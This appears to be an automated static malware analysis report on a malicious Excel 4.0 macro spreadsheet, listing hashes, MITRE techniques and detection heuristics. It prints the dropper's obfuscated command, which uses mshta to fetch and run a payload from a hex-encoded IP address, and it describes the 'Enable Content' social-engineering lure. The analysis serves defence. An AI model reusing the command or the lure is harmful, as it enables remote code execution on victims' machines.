Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 99e2e4de4c8092f0…

MALICIOUS

Office (OLE) / .XLS

65.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 754cfc3bb459fd2e15176775733a9f35 SHA-1: 91ef7a9049af4c9f0a3841d456fc5d20d297b221 SHA-256: 99e2e4de4c8092f0104cb1b38b28b7f6f5f9770ac6a5b702d8559dcb4dca1e8b
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that executes a command to download a second-stage payload from the URL http://0xc12a24f5/cc.html. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common social engineering tactic to bypass macro security. The obfuscated command string 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html' reconstructs to a direct command execution.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes